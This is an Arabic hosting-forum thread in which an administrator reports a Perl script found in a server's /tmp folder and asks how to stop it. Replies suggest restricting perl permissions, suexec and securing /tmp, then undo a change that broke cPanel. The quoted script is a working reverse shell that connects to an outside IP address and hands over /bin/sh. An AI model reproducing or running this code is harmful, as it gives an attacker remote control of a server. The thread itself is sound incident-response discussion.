وجدت سكربت بيرل في السيرفر هل من طريقة لايقافه البيرل من العمل

[download]

وجدت سكربت بيرل التالي في مجلد tmp في السيرفر

use Socket; use IO::Handle; use POSIX; $proto = getprotobyname('tcp'); socket(Socket_Handle, AF_INET, SOCK_STREAM, $proto); $s
in = sockaddr_in(3303 ,inet_aton("212.80.75.158"   )); connect(Socket_Handle,$sin); dup2(Socket_Handle->fileno, 0); dup2(Socke
t_Handle->fileno, 1); dup2(Socket_Handle->fileno, 2); exec { "/bin/sh" } "";

هل من خطر من هذا السكربت ؟
هل من طريقة لايقافه البيرل من العمل بشكل نهائي في السيرفر ؟
وهل من طريقة لمنع هذا الاختراق

وشكر

[Arabhosters.com]

بشكل عام هو سيرفرك محتاج تحميه حتى لا يستطيع وضع هذه الملفات
واذا اغلقت البيرل يستطيع انه ينزل ملفات binary يعنى كومبايلد جاهزة وينفذها او ممكن ينزل اكواد C
ومنها يقدر يشغل connect-back او bind سواء كمبايلد جاهزة او كود يعمله كمبايل..
نفذ هذا الأمر لإيقاف البيرل عن جميع اليوزر ماعدا الرووت

chmod 700 /usr/bin/perl

[TrustWork]

بشكل عام هو سيرفرك محتاج تحميه حتى لا يستطيع وضع هذه الملفات
واذا اغلقت البيرل يستطيع انه ينزل ملفات binary يعنى كومبايلد جاهزة وينفذها او ممكن ينزل اكواد C
ومنها يقدر يشغل connect-back او bind سواء كمبايلد جاهزة او كود يعمله كمبايل..
نفذ هذا الأمر لإيقاف البيرل عن جميع اليوزر ماعدا الرووت

chmod 700 /usr/bin/perl

هذي الطريقة افضل طريقة لاكن حبيت انبهك انك ممكن تسوي بريك للسيرفر بهل حالة

و بما انك تستخدم سي بنل يعني تعتمد على البيرال يعني راح تخرب بعض اجزاء السيستيم

[ServMix]

هذي الطريقة افضل طريقة لاكن حبيت انبهك انك ممكن تسوي بريك للسيرفر بهل حالة

و بما انك تستخدم سي بنل يعني تعتمد على البيرال يعني راح تخرب بعض اجزاء السيستيم

كلام مظبوط .. يعني مثلاً علي الأقل بالنسب للسي بانل لن تستطيع تصفح الايميل من خلال لوحة التحكم للسي بانل ( هيعطيك صفحة بيضاء )
بالنسبه لل perl حاول تفعيل ال suexec علي الأقل للضمان كما قم بتأمين التمب .. و هناك شغل كثيير أخر للحمايه للسيرفر .. بس هذا كبدايه

[Arabhosters.com]

ال SuEXEC بتكون مفعلة افتراضيا ً فى السيرفر ...
اذا امنت ال/tmp
بيقدر ينزل ملفات ويشغلها كذلك عن طريق رفعها فى اى dir 777 فى الموقع ويقدر منه ينزل الملفات ويشغلها ...

[خالد الحربي]

طيب انا نفذت الامر وتورطت

ابي ارجع كل شي كما كان وابي البيرل يشتغل مرة ثانية حتى اتصفح الايميل

[TrustWork]

جرب

chmod 711 /usr/bin/perl

و اذا ما نفع خلة 751 و اذا ما نفع نهائيا خلة 755

بالتوفيق ان شاء الله

[خالد الحربي]

مية مية يااعبدالله ونفع معاي هالامر للفائدة

chmod 711 /usr/bin/perl

لاعدمناك والله يالذيب (: